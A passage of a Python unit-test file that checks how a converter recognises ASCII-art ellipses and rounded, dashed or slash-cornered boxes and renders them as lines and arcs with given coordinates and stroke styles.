feed_input(p,y+1,0," "*(x-1) + "/" + " "*(w-4) + "\\ \n")
for i in range(h-4):
feed_input(p,y+2+i,0," "*(x-2) + "|" + " "*(w-2) + "| \n")
feed_input(p,y+(h-2),0," "*(x-1) + "\\" + " "*(w-4) + "/ \n")
feed_input(p,y+(h-1),0," "*x + "'" + "-"*(w-6) + "' \n")
feed_input(p,y+h,0," "*x + " "*(w-4))
try:
p.test(main.CurrentChar(y+h,x+(w-2)," ",core.M_NONE))
except StopIteration: pass
return p.render()
def test_render_returns_correct_shapes(self):
r = self.do_render(5,4,7,6)
self.assertEquals(1,len(r))
self.assertTrue( isinstance(r[0],core.Ellipse) )
def test_render_coordinates(self):
e = self.do_render(5,4,7,6)[0]
self.assertEquals((3.5,4.5),e.a)
self.assertEquals((9.5,9.5),e.b)
def test_render_coordinates_position(self):
e = self.do_render(11,20,7,6)[0]
self.assertEquals((9.5,20.5),e.a)
self.assertEquals((15.5,25.5),e.b)
def test_render_coordinates_width(self):
e = self.do_render(5,4,10,6)[0]
self.assertEquals((3.5,4.5),e.a)
self.assertEquals((12.5,9.5),e.b)
def test_render_coordinates_height(self):
e = self.do_render(5,4,7,8)[0]
self.assertEquals((3.5,4.5),e.a)
self.assertEquals((9.5,11.5),e.b)
def test_render_z(self):
e = self.do_render(5,4,7,6)[0]
self.assertEquals(1,e.z)
def test_render_stroke_colour(self):
e = self.do_render(5,4,7,6)[0]
self.assertEquals(core.C_FOREGROUND,e.stroke)
def test_render_stroke_alpha(self):
e = self.do_render(5,4,7,6)[0]
self.assertEquals(1.0,e.salpha)
def test_render_stroke_width(self):
e = self.do_render(5,4,7,6)[0]
self.assertEquals(1,e.w)
def test_render_stroke_style(self):
e = self.do_render(5,4,7,6)[0]
self.assertEquals(core.STROKE_SOLID,e.stype)
def test_render_fill_colour(self):
e = self.do_render(5,4,7,6)[0]
self.assertEquals(None,e.fill)
def test_render_fill_alpha(self):
e = self.do_render(5,4,7,6)[0]
self.assertEquals(1.0,e.falpha)
class TestRoundedRectangularBoxPattern(unittest.TestCase,PatternTests):
def __init__(self,*args,**kargs):
unittest.TestCase.__init__(self,*args,**kargs)
self.pclass = patterns.RoundedRectangularBoxPattern
def test_accepts_box(self):
p = self.pclass()
feed_input(p,0,2, ".-----. \n")
feed_input(p,1,0," | | \n")
feed_input(p,2,0," | | \n")
feed_input(p,3,0," '-----' \n")
feed_input(p,4,0," ")
with self.assertRaises(StopIteration):
p.test(main.CurrentChar(3,9," ",core.M_NONE))
def test_expects_top_left_period(self):
p = self.pclass()
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(0,2,"?",core.M_NONE))
def test_expects_top_left_period_unoccupied(self):
p = self.pclass()
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(0,2,".",core.M_OCCUPIED))
def test_expects_top_hyphen(self):
p = self.pclass()
feed_input(p,0,2,".")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(0,3,".",core.M_NONE))
def test_expects_top_hyphen_unoccupied(self):
p = self.pclass()
feed_input(p,0,2,".")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(0,3,"-",core.M_OCCUPIED))
def test_allows_single_char_width(self):
p = self.pclass()
feed_input(p,0,2,".-.")
def test_expects_top_right_period(self):
p = self.pclass()
feed_input(p,0,2,".-")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(0,4,"?",core.M_NONE))
def test_expects_top_right_period_unoccupied(self):
p = self.pclass()
feed_input(p,0,2,".-")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(0,4,".",core.M_OCCUPIED))
def test_allows_long_width(self):
p = self.pclass()
feed_input(p,0,2,".-------------.")
def test_allows_rest_of_first_line(self):
p = self.pclass()
feed_input(p,0,2,".---.")
p.test(main.CurrentChar(0,7,"a",core.M_OCCUPIED))
p.test(main.CurrentChar(0,8,"b",core.M_OCCUPIED))
p.test(main.CurrentChar(0,9,"\n",core.M_OCCUPIED))
def test_allows_start_of_second_line(self):
p = self.pclass()
feed_input(p,0,2,".---.\n")
p.test(main.CurrentChar(1,0,"a",core.M_OCCUPIED))
p.test(main.CurrentChar(1,1,"b",core.M_OCCUPIED))
def test_expects_left_pipe(self):
p = self.pclass()
feed_input(p,0,2,".---.\n")
feed_input(p,1,0," ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(1,2,"+",core.M_NONE))
def test_expects_left_pipe_unoccupied(self):
p = self.pclass()
feed_input(p,0,2,".---.\n")
feed_input(p,1,0," ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(1,2,"|",core.M_OCCUPIED))
def test_allows_box_contents(self):
p = self.pclass()
feed_input(p,0,2, ".---.\n")
feed_input(p,1,0," |")
p.test(main.CurrentChar(1,3,"a",core.M_OCCUPIED))
p.test(main.CurrentChar(1,4,"b",core.M_OCCUPIED))
p.test(main.CurrentChar(1,5,"c",core.M_OCCUPIED))
def test_rejects_short_content_line(self):
p = self.pclass()
feed_input(p,0,2, ".---.\n")
feed_input(p,1,0," | ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(1,5,"\n",core.M_NONE))
def test_expects_right_pipe(self):
p = self.pclass()
feed_input(p,0,2, ".---.\n")
feed_input(p,1,0," | ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(1,6,"a",core.M_NONE))
def test_expects_right_pipe_unoccupied(self):
p = self.pclass()
feed_input(p,0,2, ".---.\n")
feed_input(p,1,0," | ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(1,6,"|",core.M_OCCUPIED))
def test_allows_rest_of_second_line(self):
p = self.pclass()
feed_input(p,0,2, ".---.\n")
feed_input(p,1,0," | |")
p.test(main.CurrentChar(1,7,"a",core.M_OCCUPIED))
p.test(main.CurrentChar(1,8,"b",core.M_OCCUPIED))
p.test(main.CurrentChar(1,9,"\n",core.M_OCCUPIED))
def test_allows_start_of_bottom_line(self):
p = self.pclass()
feed_input(p,0,2, ".---.\n")
feed_input(p,1,0," | |\n")
p.test(main.CurrentChar(2,0,"a",core.M_OCCUPIED))
p.test(main.CurrentChar(2,1,"b",core.M_OCCUPIED))
def test_allows_single_char_height(self):
p = self.pclass()
feed_input(p,0,2, ".---.\n")
feed_input(p,1,0," | |\n")
feed_input(p,2,0," '")
def test_expects_bottom_left_apos(self):
p = self.pclass()
feed_input(p,0,2, ".---.\n")
feed_input(p,1,0," | |\n")
feed_input(p,2,0," ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,2,"?",core.M_NONE))
def test_expects_bottom_left_apos_unoccupied(self):
p = self.pclass()
feed_input(p,0,2, ".---.\n")
feed_input(p,1,0," | |\n")
feed_input(p,2,0," ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,2,"'",core.M_OCCUPIED))
def test_allows_long_height(self):
p = self.pclass()
feed_input(p,0,2, ".---.\n")
feed_input(p,1,0," | |\n")
feed_input(p,2,0," | |\n")
feed_input(p,3,0," | |\n")
feed_input(p,4,0," '")
def test_expects_bottom_hyphen(self):
p = self.pclass()
feed_input(p,0,2, ".---.\n")
feed_input(p,1,0," | |\n")
feed_input(p,2,0," '")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,3,"'",core.M_NONE))
def test_expects_bottom_hyphen_unoccupied(self):
p = self.pclass()
feed_input(p,0,2, ".---.\n")
feed_input(p,1,0," | |\n")
feed_input(p,2,0," '")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,3,"-",core.M_OCCUPIED))
def test_expects_bottom_right_apos(self):
p = self.pclass()
feed_input(p,0,2, ".---.\n")
feed_input(p,1,0," | |\n")
feed_input(p,2,0," '---")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,6,"-",core.M_NONE))
def test_expects_bottom_right_apos_unoccupied(self):
p = self.pclass()
feed_input(p,0,2, ".---.\n")
feed_input(p,1,0," | |\n")
feed_input(p,2,0," '---")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,6,"'",core.M_OCCUPIED))
def test_allows_rest_of_bottom_line(self):
p = self.pclass()
feed_input(p,0,2, ".---.\n")
feed_input(p,1,0," | |\n")
feed_input(p,2,0," '---'")
p.test(main.CurrentChar(2,7,"a",core.M_OCCUPIED))
p.test(main.CurrentChar(2,8,"b",core.M_OCCUPIED))
p.test(main.CurrentChar(2,9,"\n",core.M_OCCUPIED))
def test_allows_final_line(self):
p = self.pclass()
feed_input(p,0,2, ".---.\n")
feed_input(p,1,0," | |\n")
feed_input(p,2,0," '---'\n")
for i in range(7):
p.test(main.CurrentChar(3,i,"z",core.M_OCCUPIED))
def test_allows_no_final_line(self):
p = self.pclass()
feed_input(p,0,2, ".---.\n")
feed_input(p,1,0," | |\n")
feed_input(p,2,0," '---'\n")
with self.assertRaises(StopIteration):
p.test(main.CurrentChar(3,0,core.END_OF_INPUT,core.M_NONE))
def test_allows_short_final_line(self):
p = self.pclass()
feed_input(p,0,2, ".---.\n")
feed_input(p,1,0," | |\n")
feed_input(p,2,0," '---'\n")
feed_input(p,3,0," ")
with self.assertRaises(StopIteration):
p.test(main.CurrentChar(3,4,"\n",core.M_NONE))
def test_allowed_to_touch_left_edge(self):
p = self.pclass()
feed_input(p,0,0,".---.\n")
feed_input(p,1,0,"| |\n")
feed_input(p,2,0,"'---'\n")
feed_input(p,3,0," ")
with self.assertRaises(StopIteration):
p.test(main.CurrentChar(3,5,"\n",core.M_NONE))
def test_allowed_to_touch_bottom_left_corner(self):
p = self.pclass()
feed_input(p,0,0,".---.\n")
feed_input(p,1,0,"| |\n")
feed_input(p,2,0,"'---'\n")
with self.assertRaises(StopIteration):
p.test(main.CurrentChar(3,0,core.END_OF_INPUT,core.M_NONE))
def test_allows_slash_corners(self):
p = self.pclass()
feed_input(p,0,2, "/--\\ \n")
feed_input(p,1,0," | | \n")
feed_input(p,2,0," \\--/ \n")
feed_input(p,3,0," ")
with self.assertRaises(StopIteration):
p.test(main.CurrentChar(3,6," ",core.M_NONE))
def test_expects_top_right_backslash(self):
p = self.pclass()
feed_input(p,0,2, "/--")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(0,5,".",core.M_NONE))
def test_expects_top_right_backslash_unoccupied(self):
p = self.pclass()
feed_input(p,0,2, "/--")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(0,5,"\\",core.M_OCCUPIED))
def test_expects_bottom_left_backslash(self):
p = self.pclass()
feed_input(p,0,2, "/--\\ \n")
feed_input(p,1,0," | | \n")
feed_input(p,2,0," ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,2,"'",core.M_NONE))
def test_expects_bottom_left_backslash_unoccupied(self):
p = self.pclass()
feed_input(p,0,2, "/--\\ \n")
feed_input(p,1,0," | | \n")
feed_input(p,2,0," ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,2,"\\",core.M_OCCUPIED))
def test_expects_bottom_right_forwardslash(self):
p = self.pclass()
feed_input(p,0,2, "/--\\ \n")
feed_input(p,1,0," | | \n")
feed_input(p,2,0," \\--")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,5,"'",core.M_NONE))
def test_expects_bottom_right_forwardslash_unoccupied(self):
p = self.pclass()
feed_input(p,0,2, "/--\\ \n")
feed_input(p,1,0," | | \n")
feed_input(p,2,0," \\--")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,5,"/",core.M_OCCUPIED))
"""
def test_allows_h_separator(self):
p = self.pclass()
feed_input(p,0,2, "+----+\n")
feed_input(p,1,0," | |\n")
feed_input(p,2,0," |----|\n")
def test_expects_continuation_of_h_separator(self):
p = self.pclass()
feed_input(p,0,2, "+----+\n")
feed_input(p,1,0," | |\n")
feed_input(p,2,0," |-")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,4," ",core.M_NONE))
def test_expects_continuation_of_h_separator_unoccupied(self):
p = self.pclass()
feed_input(p,0,2, "+----+\n")
feed_input(p,1,0," | |\n")
feed_input(p,2,0," |-")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,4,"-",core.M_OCCUPIED))
def test_allows_non_separator_h_line(self):
p = self.pclass()
feed_input(p,0,2, "+----+\n")
feed_input(p,1,0," | |\n")
feed_input(p,2,0," | ---|\n")
def test_allows_h_non_separator_start_if_occupied(self):
p = self.pclass()
feed_input(p,0,2, "+----+\n")
feed_input(p,1,0," | |\n")
feed_input(p,2,0," |")
p.test(main.CurrentChar(2,3,"-",core.M_OCCUPIED))
feed_input(p,2,4,"---|\n")
def test_doesnt_assume_h_separator_if_first_row(self):
p = self.pclass()
feed_input(p,0,2, "+----+\n")
feed_input(p,1,0," |--- |\n")
def test_doesnt_assume_h_separator_if_section_too_small(self):
p = self.pclass()
feed_input(p,0,2, "+----+\n")
feed_input(p,1,0," | |\n")
feed_input(p,2,0," |----|\n")
feed_input(p,3,0," |-- |\n")
def test_allows_multiple_h_separators(self):
p = self.pclass()
feed_input(p,0,2, "+----+\n")
feed_input(p,1,0," | |\n")
feed_input(p,2,0," |----|\n")
feed_input(p,3,0," | |\n")
feed_input(p,4,0," |----|\n")
def test_allows_v_separator(self):
p = self.pclass()
feed_input(p,0,2, "+----+\n")
feed_input(p,1,0," | | |\n")
feed_input(p,2,0," | | |\n")
feed_input(p,3,0," +----+\n")
def test_expects_continuation_of_v_separator(self):
p = self.pclass()
feed_input(p,0,2, "+----+\n")
feed_input(p,1,0," | | |\n")
feed_input(p,2,0," | ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,5," ",core.M_NONE))
def test_expects_continuation_of_v_separator_unoccupied(self):
p = self.pclass()
feed_input(p,0,2, "+----+\n")
feed_input(p,1,0," | | |\n")
feed_input(p,2,0," | ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,5,"|",core.M_OCCUPIED))
def test_allows_non_separator_v_line(self):
p = self.pclass()
feed_input(p,0,2, "+----+\n")
feed_input(p,1,0," | |\n")
feed_input(p,2,0," | | |\n")
feed_input(p,3,0," | | |\n")
feed_input(p,4,0," +----+\n")
def test_allows_v_non_separator_start_if_occupied(self):
p = self.pclass()
feed_input(p,0,2, "+----+\n")
feed_input(p,1,0," | ")
p.test(main.CurrentChar(1,5,"|",core.M_OCCUPIED))
feed_input(p,1,6," |\n")
def test_allows_multiple_v_separators(self):
p = self.pclass()
feed_input(p,0,2, "+-----+\n")
feed_input(p,1,0," | | | |\n")
feed_input(p,2,0," | | | |\n")
feed_input(p,3,0," +-----+\n")
def test_doesnt_assume_v_separator_if_first_col(self):
p = self.pclass()
feed_input(p,0,2, "+----+\n")
feed_input(p,1,0," || |\n")
feed_input(p,2,0," || |\n")
feed_input(p,3,0," | |\n")
def test_doesnt_assume_v_separator_if_section_too_small(self):
p = self.pclass()
feed_input(p,0,2, "+-----+\n")
feed_input(p,1,0," | || |\n")
feed_input(p,2,0," | || |\n")
feed_input(p,3,0," | | |\n")
def test_allows_crossing_separators(self):
p = self.pclass()
feed_input(p,0,2, "+----+\n")
feed_input(p,1,0," | | |\n")
feed_input(p,2,0," |----|\n")
feed_input(p,3,0," | | |\n")
feed_input(p,4,0," +----+\n")
def test_expects_line_at_separator_intersection(self):
p = self.pclass()
feed_input(p,0,2, "+----+\n")
feed_input(p,1,0," | | |\n")
feed_input(p,2,0," |--")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,5,"+",core.M_NONE))
def test_expects_line_at_separator_intersection_unoccupied(self):
p = self.pclass()
feed_input(p,0,2, "+----+\n")
feed_input(p,1,0," | | |\n")
feed_input(p,2,0," |--")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,5,"-",core.M_OCCUPIED))
def test_allows_vertical_line_at_separator_intersection(self):
p = self.pclass()
feed_input(p,0,2, "+----+\n")
feed_input(p,1,0," | | |\n")
feed_input(p,2,0," |--|-|\n")
def test_allows_single_character_sections(self):
p = self.pclass()
feed_input(p,0,2, "+-----+\n")
feed_input(p,1,0," | | | |\n")
feed_input(p,2,0," |-----|\n")
feed_input(p,3,0," | | | |\n")
feed_input(p,4,0," |-----|\n")
feed_input(p,5,0," | | | |\n")
feed_input(p,6,0," +-----+\n")
"""
def test_allows_dashed_box(self):
p = self.pclass()
feed_input(p,0,2, ".- - - - .\n")
feed_input(p,1,0," ; ;\n")
feed_input(p,2,0," ; ;\n")
feed_input(p,3,0," '- - - - '\n")
feed_input(p,4,0," ")
with self.assertRaises(StopIteration):
p.test(main.CurrentChar(4,12," ",core.M_NONE))
def test_expects_top_dash_continuation(self):
p = self.pclass()
feed_input(p,0,2, ".- -")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(0,6,"-",core.M_NONE))
def test_expects_top_dash_unoccupied(self):
p = self.pclass()
feed_input(p,0,2, ".-")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(0,4," ",core.M_OCCUPIED))
def test_top_expects_complete_dashes(self):
p = self.pclass()
feed_input(p,0,2, ".- -")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(0,6,"+",core.M_NONE))
def test_expects_dashed_left_side(self):
p = self.pclass()
feed_input(p,0,2, ".- - .\n")
feed_input(p,1,0," ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(1,2,"|",core.M_NONE))
def test_expects_dashed_left_side_unoccupied(self):
p = self.pclass()
feed_input(p,0,2, ".- - .\n")
feed_input(p,1,0," ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(1,2,";",core.M_OCCUPIED))
def test_expects_dashed_right_side(self):
p = self.pclass()
feed_input(p,0,2, ".- - .\n")
feed_input(p,1,0," ; ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(1,7,"|",core.M_NONE))
def test_expects_dashed_right_side_unoccupied(self):
p = self.pclass()
feed_input(p,0,2, ".- - .\n")
feed_input(p,1,0," ; ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(1,7,";",core.M_OCCUPIED))
def test_expects_dashed_left_side_second_line(self):
p = self.pclass()
feed_input(p,0,2, ".- - .\n")
feed_input(p,1,0," ; ;\n")
feed_input(p,2,0," ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,2,"|",core.M_NONE))
def test_expects_dashed_left_side_second_line_unoccupied(self):
p = self.pclass()
feed_input(p,0,2, ".- - .\n")
feed_input(p,1,0," ; ;\n")
feed_input(p,2,0," ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,2,";",core.M_OCCUPIED))
def test_expects_dashed_right_side_second_line(self):
p = self.pclass()
feed_input(p,0,2, ".- - .\n")
feed_input(p,1,0," ; ;\n")
feed_input(p,2,0," ; ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,7,"|",core.M_NONE))
def test_expects_dashed_right_side_second_line_unoccupied(self):
p = self.pclass()
feed_input(p,0,2, ".- - .\n")
feed_input(p,1,0," ; ;\n")
feed_input(p,2,0," ; ")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,7,";",core.M_OCCUPIED))
def test_expects_dashed_bottom_line(self):
p = self.pclass()
feed_input(p,0,2, ".- - .\n")
feed_input(p,1,0," ; ;\n")
feed_input(p,2,0," '-")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,4,"-",core.M_NONE))
def test_expects_dashed_bottom_line_unoccupied(self):
p = self.pclass()
feed_input(p,0,2, ".- - .\n")
feed_input(p,1,0," ; ;\n")
feed_input(p,2,0," '-")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,4," ",core.M_OCCUPIED))
def test_expects_dashed_bottom_line_continuation(self):
p = self.pclass()
feed_input(p,0,2, ".- - - - .\n")
feed_input(p,1,0," ; ;\n")
feed_input(p,2,0," '- -")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,6,"-",core.M_NONE))
def test_expects_dashed_bottom_line_continuation_unoccupied(self):
p = self.pclass()
feed_input(p,0,2, ".- - - - .\n")
feed_input(p,1,0," ; ;\n")
feed_input(p,2,0," '- -")
with self.assertRaises(core.PatternRejected):
p.test(main.CurrentChar(2,6," ",core.M_OCCUPIED))
"""
def test_dashed_box_allows_separators(self):
p = self.pclass()
feed_input(p,0,2, "+- - - - - - +\n")
feed_input(p,1,0," ; | | ;\n")
feed_input(p,2,0," ;--------|---;\n")
feed_input(p,3,0," ; | | ;\n")
feed_input(p,4,0," +- - - - - - +\n")
"""
def test_sets_correct_meta_flags(self):
p = self.pclass()
#input = ((2, "+---+ \n",),
# (0," |+||| \n",),
# (0," |---| \n",),
# (0," |-| | \n",),
# (0," +---+ \n",),
# (0," ", ),)
input = ((2, ".---. \n",),
(0," | | \n",),
(0," | | \n",),
(0," | | \n",),
(0," '---' \n",),
(0," ", ),)
c = core.M_BOX_START_S | core.M_BOX_START_E | core.M_OCCUPIED
t = core.M_BOX_START_S | core.M_OCCUPIED
l = core.M_BOX_START_E | core.M_OCCUPIED
o = core.M_OCCUPIED
n = core.M_NONE
r = core.M_BOX_AFTER_E
b = core.M_BOX_AFTER_S
#outmeta = (( c,t,t,t,t,r,n,n,),
# (n,n,l,n,o,n,o,r,n,n,),
# (n,n,l,o,o,o,o,r,n,n,),
# (n,n,l,n,o,n,o,r,n,n,),
# (n,n,l,o,o,o,o,r,n,n,),
# (n,n,b,b,b,b,b, ),)
outmeta = (( c,t,t,t,t,r,n,n,),
(n,n,l,n,n,n,o,r,n,n,),
(n,n,l,n,n,n,o,r,n,n,),
(n,n,l,n,n,n,o,r,n,n,),
(n,n,l,o,o,o,o,r,n,n,),
(n,n,b,b,b,b,b, ),)
for j,(startcol,line) in enumerate(input):
for i,char in enumerate(line):
m = outmeta[j][i]
self.assertEquals(m, p.test(main.CurrentChar(j,startcol+i,char,core.M_NONE)))
def do_render(self,x,y,w,h,hs=[],vs=[],dash=False):
p = self.pclass()
feed_input(p,y,x,"." + (("- "*(w//2)) if dash else ("-"*w)) + ".\n")
for i in range(h):
feed_input(p,y+1+i,0," "*x + (";" if dash else "|"))
for n in range(w):
chr = {
(True,True): "-",
(True,False): "-",
(False,True): "|",
(False,False): " "
}[(i in hs,n in vs)]
feed_input(p,y+1+i,x+1+n, chr)
feed_input(p,y+1+i,x+1+w, (";" if dash else "|")+"\n")
feed_input(p,y+1+h+0,0," "*x + "'" + (("- "*(w//2)) if dash else ("-"*w)) + "'\n")
feed_input(p,y+1+h+1,0," "*x + " " + " "*w + " ")
try:
p.test(main.CurrentChar(y+h+2,x+w+2," ",core.M_NONE))
except StopIteration: pass
return p.render()
def test_render_returns_correct_shapes(self):
r = self.do_render(2,3,5,6)
self.assertEquals(8, len(r))
self.assertEquals(4, len(filter(lambda x: isinstance(x,core.Line),r)))
self.assertEquals(4, len(filter(lambda x: isinstance(x,core.Arc),r)))
def test_render_coordinates(self):
r = self.do_render(2,3,5,6)
lines = self.find_type(r,core.Line)
curves = self.find_type(r,core.Arc)
lt = self.find_with(lines,"a",(3.5,3.5))
self.assertEquals((7.5,3.5),lt.b)
lb = self.find_with(lines,"a",(3.5,10.5))
self.assertEquals((7.5,10.5),lb.b)
ll = self.find_with(lines,"a",(2.5,4.0))
self.assertEquals((2.5,10.0),ll.b)
lr = self.find_with(lines,"a",(8.5,4.0))
self.assertEquals((8.5,10.0),lr.b)
ctl = self.find_with(curves,"a",(2.5,3.5))
self.assertEquals((4.5,4.5),ctl.b)
self.assertEquals(math.pi,ctl.start)
self.assertEquals(math.pi*1.5,ctl.end)
ctr = self.find_with(curves,"a",(6.5,3.5))
self.assertEquals((8.5,4.5),ctr.b)
self.assertEquals(math.pi*-0.5,ctr.start)
self.assertEquals(0,ctr.end)
cbl = self.find_with(curves,"a",(2.5,9.5))
self.assertEquals((4.5,10.5),cbl.b)
self.assertEquals(math.pi*0.5,cbl.start)
self.assertEquals(math.pi,cbl.end)
cbr = self.find_with(curves,"a",(6.5,9.5))
self.assertEquals((8.5,10.5),cbr.b)
self.assertEquals(0,cbr.start)
self.assertEquals(math.pi*0.5,cbr.end)
def test_render_coordinates_width(self):
r = self.do_render(2,3,7,6)
lines = self.find_type(r,core.Line)
curves = self.find_type(r,core.Arc)
lt = self.find_with(lines,"a",(3.5,3.5))
self.assertEquals((9.5,3.5),lt.b)
lb = self.find_with(lines,"a",(3.5,10.5))
self.assertEquals((9.5,10.5),lb.b)
ll = self.find_with(lines,"a",(2.5,4.0))
self.assertEquals((2.5,10.0),ll.b)
lr = self.find_with(lines,"a",(10.5,4.0))
self.assertEquals((10.5,10.0),lr.b)
ctl = self.find_with(curves,"a",(2.5,3.5))
self.assertEquals((4.5,4.5),ctl.b)
self.assertEquals(math.pi,ctl.start)
self.assertEquals(math.pi*1.5,ctl.end)
ctr = self.find_with(curves,"a",(8.5,3.5))
self.assertEquals((10.5,4.5),ctr.b)
self.assertEquals(math.pi*-0.5,ctr.start)
self.assertEquals(0,ctr.end)
cbl = self.find_with(curves,"a",(2.5,9.5))
self.assertEquals((4.5,10.5),cbl.b)
self.assertEquals(math.pi*0.5,cbl.start)
self.assertEquals(math.pi,cbl.end)
cbr = self.find_with(curves,"a",(8.5,9.5))
self.assertEquals((10.5,10.5),cbr.b)
self.assertEquals(0,cbr.start)
self.assertEquals(math.pi*0.5,cbr.end)
def test_render_coordinates_height(self):
r = self.do_render(2,3,5,8)
lines = self.find_type(r,core.Line)
curves = self.find_type(r,core.Arc)
lt = self.find_with(lines,"a",(3.5,3.5))
self.assertEquals((7.5,3.5),lt.b)
lb = self.find_with(lines,"a",(3.5,12.5))
self.assertEquals((7.5,12.5),lb.b)
ll = self.find_with(lines,"a",(2.5,4.0))
self.assertEquals((2.5,12.0),ll.b)
lr = self.find_with(lines,"a",(8.5,4.0))
self.assertEquals((8.5,12.0),lr.b)
ctl = self.find_with(curves,"a",(2.5,3.5))
self.assertEquals((4.5,4.5),ctl.b)
self.assertEquals(math.pi,ctl.start)
self.assertEquals(math.pi*1.5,ctl.end)
ctr = self.find_with(curves,"a",(6.5,3.5))
self.assertEquals((8.5,4.5),ctr.b)
self.assertEquals(math.pi*-0.5,ctr.start)
self.assertEquals(0,ctr.end)
cbl = self.find_with(curves,"a",(2.5,11.5))
self.assertEquals((4.5,12.5),cbl.b)
self.assertEquals(math.pi*0.5,cbl.start)
self.assertEquals(math.pi,cbl.end)
cbr = self.find_with(curves,"a",(6.5,11.5))
self.assertEquals((8.5,12.5),cbr.b)
self.assertEquals(0,cbr.start)
self.assertEquals(math.pi*0.5,cbr.end)
def test_render_coordinates_position(self):
r = self.do_render(7,5,5,6)
lines = self.find_type(r,core.Line)
curves = self.find_type(r,core.Arc)
lt = self.find_with(lines,"a",(8.5,5.5))
self.assertEquals((12.5,5.5),lt.b)
lb = self.find_with(lines,"a",(8.5,12.5))
self.assertEquals((12.5,12.5),lb.b)
ll = self.find_with(lines,"a",(7.5,6.0))
self.assertEquals((7.5,12.0),ll.b)
lr = self.find_with(lines,"a",(13.5,6.0))
self.assertEquals((13.5,12.0),lr.b)
ctl = self.find_with(curves,"a",(7.5,5.5))
self.assertEquals((9.5,6.5),ctl.b)
self.assertEquals(math.pi,ctl.start)
self.assertEquals(math.pi*1.5,ctl.end)
ctr = self.find_with(curves,"a",(11.5,5.5))
self.assertEquals((13.5,6.5),ctr.b)
self.assertEquals(math.pi*-0.5,ctr.start)
self.assertEquals(0,ctr.end)
cbl = self.find_with(curves,"a",(7.5,11.5))
self.assertEquals((9.5,12.5),cbl.b)
self.assertEquals(math.pi*0.5,cbl.start)
self.assertEquals(math.pi,cbl.end)
cbr = self.find_with(curves,"a",(11.5,11.5))
self.assertEquals((13.5,12.5),cbr.b)
self.assertEquals(0,cbr.start)
self.assertEquals(math.pi*0.5,cbr.end)
def test_render_z(self):
for shape in self.do_render(2,3,5,6):
self.assertEquals(0,shape.z)
def test_render_stroke_colour(self):
for shape in self.do_render(2,3,5,6):
self.assertEquals(core.C_FOREGROUND,shape.stroke)
def test_render_stroke_alpha(self):
for shape in self.do_render(2,3,5,6):
self.assertEquals(1.0, shape.salpha)
def test_render_stroke_width(self):
for shape in self.do_render(2,3,5,6):
self.assertEquals(1,shape.w)
def test_render_stroke_style_solid(self):
for shape in self.do_render(2,3,6,6,dash=False):
self.assertEquals(core.STROKE_SOLID,shape.stype)
def test_render_stroke_style_dashed(self):
for shape in self.do_render(2,3,6,6,dash=True):
self.assertEquals(core.STROKE_DASHED,shape.stype)
def test_render_fill_colour(self):
for shape in self.find_type(self.do_render(2,3,5,6),core.Arc):
self.assertEquals(None,shape.fill)
def test_render_fill_alpha(self):
for shape in self.find_type(self.do_render(2,3,5,6),core.Arc):
self.assertEquals(1.0,shape.falpha)
"""
def test_render_h_sections_returns_background_shapes(self):
r = self.do_render(3,2,12,4,[],[4,8])
self.assertEquals(4,len(self.find_type(r,core.Rectangle)))
def test_render_h_sections_coordinates(self):
r = self.do_render(3,2,12,4,[],[4,8])
b1 = self.find_with(r,"b",(8.5,7.5))
self.assertEquals(b1.a,(3.5,2.5))
b2 = self.find_with(r,"b",(12.5,7.5))
self.assertEquals(b2.a,(8.5,2.5))
b3 = self.find_with(r,"a",(12.5,2.5))
self.assertEquals(b3.b,(16.5,7.5))
def test_render_h_sections_stroke_colour(self):
r = self.do_render(3,2,12,4,[],[4,8])
b1 = self.find_with(r,"b",(8.5,7.5))
self.assertEquals(None,b1.stroke)
b2 = self.find_with(r,"b",(12.5,7.5))
self.assertEquals(None,b2.stroke)
b3 = self.find_with(r,"a",(12.5,2.5))
self.assertEquals(None,b3.stroke)
def test_render_h_sections_fill_colour(self):
r = self.do_render(3,2,12,4,[],[4,8])
